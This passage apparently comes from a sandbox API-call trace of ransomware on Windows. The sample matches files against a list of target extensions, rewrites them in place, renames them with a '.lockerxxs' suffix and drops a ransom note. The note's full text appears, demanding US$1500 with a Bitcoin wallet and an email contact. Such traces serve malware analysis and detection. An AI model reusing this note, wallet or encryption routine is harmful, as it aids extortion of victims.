out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" [0070.158] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.ems") returned 0 [0070.158] lstrlenA (lpString="*.ems") returned 5 [0070.158] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.db") returned 0 [0070.158] lstrlenA (lpString="*.db") returned 4 [0070.158] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.dbf") returned 0 [0070.158] lstrlenA (lpString="*.dbf") returned 5 [0070.158] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.myox") returned 0 [0070.158] lstrlenA (lpString="*.myox") returned 6 [0070.158] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.myo") returned 0 [0070.158] lstrlenA (lpString="*.myo") returned 5 [0070.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.qbw") returned 0 [0070.159] lstrlenA (lpString="*.qbw") returned 5 [0070.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.qbb") returned 0 [0070.159] lstrlenA (lpString="*.qbb") returned 5 [0070.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.qbm") returned 0 [0070.159] lstrlenA (lpString="*.qbm") returned 5 [0070.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.qbo") returned 0 [0070.159] lstrlenA (lpString="*.qbo") returned 5 [0070.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.qbx") returned 0 [0070.159] lstrlenA (lpString="*.qbx") returned 5 [0070.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.qba") returned 0 [0070.159] lstrlenA (lpString="*.qba") returned 5 [0070.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.qby") returned 0 [0070.159] lstrlenA (lpString="*.qby") returned 5 [0070.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.qbj") returned 0 [0070.159] lstrlenA (lpString="*.qbj") returned 5 [0070.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.ofx") returned 0 [0070.159] lstrlenA (lpString="*.ofx") returned 5 [0070.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.qif") returned 0 [0070.159] lstrlenA (lpString="*.qif") returned 5 [0070.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.mye") returned 0 [0070.159] lstrlenA (lpString="*.mye") returned 5 [0070.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.mbox") returned 0 [0070.160] lstrlenA (lpString="*.mbox") returned 6 [0070.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.eml") returned 0 [0070.160] lstrlenA (lpString="*.eml") returned 5 [0070.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.pst") returned 0 [0070.160] lstrlenA (lpString="*.pst") returned 5 [0070.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.ost") returned 0 [0070.160] lstrlenA (lpString="*.ost") returned 5 [0070.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.idx") returned 0 [0070.160] lstrlenA (lpString="*.idx") returned 5 [0070.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.dbx") returned 0 [0070.160] lstrlenA (lpString="*.dbx") returned 5 [0070.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.sql") returned 0 [0070.160] lstrlenA (lpString="*.sql") returned 5 [0070.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.mdb") returned 0 [0070.160] lstrlenA (lpString="*.mdb") returned 5 [0070.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.fdb") returned 0 [0070.160] lstrlenA (lpString="*.fdb") returned 5 [0070.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.wab") returned 0 [0070.160] lstrlenA (lpString="*.wab") returned 5 [0070.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.dat") returned 0 [0070.161] lstrlenA (lpString="*.dat") returned 5 [0070.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.txt") returned 0 [0070.161] lstrlenA (lpString="*.txt") returned 5 [0070.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.jpeg") returned 0 [0070.161] lstrlenA (lpString="*.jpeg") returned 6 [0070.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.jpg") returned 0 [0070.161] lstrlenA (lpString="*.jpg") returned 5 [0070.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.png") returned 0 [0070.161] lstrlenA (lpString="*.png") returned 5 [0070.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.php") returned 0 [0070.161] lstrlenA (lpString="*.php") returned 5 [0070.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.cs") returned 0 [0070.161] lstrlenA (lpString="*.cs") returned 4 [0070.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.cpp") returned 0 [0070.161] lstrlenA (lpString="*.cpp") returned 5 [0070.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.rar") returned 0 [0070.161] lstrlenA (lpString="*.rar") returned 5 [0070.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.zip") returned 0 [0070.161] lstrlenA (lpString="*.zip") returned 5 [0070.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", pszSpec="*.html") returned 1 [0070.161] lstrlenA (lpString="*.html") returned 6 [0070.162] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" [0070.162] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" [0070.162] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html." [0070.162] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html.lockerxxs" [0070.162] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.162] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe796 [0070.162] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a76e80, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0070.162] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.163] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xe770, lpOverlapped=0x0) returned 1 [0070.165] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html") returned="license.html" [0070.165] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.165] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xe770, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xe770, lpOverlapped=0x0) returned 1 [0070.166] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.166] CloseHandle (hObject=0x94) returned 1 [0070.167] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html.lockerxxs")) returned 1 [0070.168] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.168] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.168] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="RUS", cAlternateFileName="")) returned 1 [0070.168] lstrcmpA (lpString1=".", lpString2="RUS") returned -1 [0070.169] lstrcmpA (lpString1="..", lpString2="RUS") returned -1 [0070.169] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0070.169] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="RUS" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" [0070.169] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS") returned 57 [0070.169] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.170] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.170] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.170] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.170] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.170] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0070.170] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.170] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0070.170] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0070.170] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0070.170] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*.*") returned="*.*" [0070.170] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\" [0070.170] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\") returned="" [0070.170] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\HOW TO DECRYPT FILES.txt" [0070.170] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\how to decrypt files.txt")) returned 0xffffffff [0070.171] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.171] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.171] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.173] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.173] CloseHandle (hObject=0x94) returned 1 [0070.173] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini" [0070.174] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.ems") returned 0 [0070.174] lstrlenA (lpString="*.ems") returned 5 [0070.174] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.db") returned 0 [0070.174] lstrlenA (lpString="*.db") returned 4 [0070.174] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.dbf") returned 0 [0070.174] lstrlenA (lpString="*.dbf") returned 5 [0070.174] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.myox") returned 0 [0070.174] lstrlenA (lpString="*.myox") returned 6 [0070.174] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.myo") returned 0 [0070.174] lstrlenA (lpString="*.myo") returned 5 [0070.174] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.qbw") returned 0 [0070.174] lstrlenA (lpString="*.qbw") returned 5 [0070.174] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.qbb") returned 0 [0070.174] lstrlenA (lpString="*.qbb") returned 5 [0070.174] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.qbm") returned 0 [0070.174] lstrlenA (lpString="*.qbm") returned 5 [0070.174] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.qbo") returned 0 [0070.175] lstrlenA (lpString="*.qbo") returned 5 [0070.175] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.qbx") returned 0 [0070.175] lstrlenA (lpString="*.qbx") returned 5 [0070.175] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.qba") returned 0 [0070.175] lstrlenA (lpString="*.qba") returned 5 [0070.175] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.qby") returned 0 [0070.175] lstrlenA (lpString="*.qby") returned 5 [0070.175] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.qbj") returned 0 [0070.175] lstrlenA (lpString="*.qbj") returned 5 [0070.175] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.ofx") returned 0 [0070.175] lstrlenA (lpString="*.ofx") returned 5 [0070.175] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.qif") returned 0 [0070.176] lstrlenA (lpString="*.qif") returned 5 [0070.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.mye") returned 0 [0070.176] lstrlenA (lpString="*.mye") returned 5 [0070.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.mbox") returned 0 [0070.176] lstrlenA (lpString="*.mbox") returned 6 [0070.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.eml") returned 0 [0070.176] lstrlenA (lpString="*.eml") returned 5 [0070.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.pst") returned 0 [0070.176] lstrlenA (lpString="*.pst") returned 5 [0070.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.ost") returned 0 [0070.176] lstrlenA (lpString="*.ost") returned 5 [0070.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.idx") returned 0 [0070.176] lstrlenA (lpString="*.idx") returned 5 [0070.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.dbx") returned 0 [0070.177] lstrlenA (lpString="*.dbx") returned 5 [0070.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.sql") returned 0 [0070.177] lstrlenA (lpString="*.sql") returned 5 [0070.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.mdb") returned 0 [0070.177] lstrlenA (lpString="*.mdb") returned 5 [0070.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.fdb") returned 0 [0070.177] lstrlenA (lpString="*.fdb") returned 5 [0070.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.wab") returned 0 [0070.177] lstrlenA (lpString="*.wab") returned 5 [0070.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.dat") returned 0 [0070.177] lstrlenA (lpString="*.dat") returned 5 [0070.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.txt") returned 0 [0070.178] lstrlenA (lpString="*.txt") returned 5 [0070.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.178] lstrlenA (lpString="*.jpeg") returned 6 [0070.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.jpg") returned 0 [0070.178] lstrlenA (lpString="*.jpg") returned 5 [0070.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.png") returned 0 [0070.178] lstrlenA (lpString="*.png") returned 5 [0070.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.php") returned 0 [0070.178] lstrlenA (lpString="*.php") returned 5 [0070.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.cs") returned 0 [0070.178] lstrlenA (lpString="*.cs") returned 4 [0070.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.cpp") returned 0 [0070.178] lstrlenA (lpString="*.cpp") returned 5 [0070.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.rar") returned 0 [0070.179] lstrlenA (lpString="*.rar") returned 5 [0070.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.zip") returned 0 [0070.179] lstrlenA (lpString="*.zip") returned 5 [0070.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.html") returned 0 [0070.179] lstrlenA (lpString="*.html") returned 6 [0070.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini", pszSpec="*.htm") returned 0 [0070.179] lstrlenA (lpString="*.htm") returned 5 [0070.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 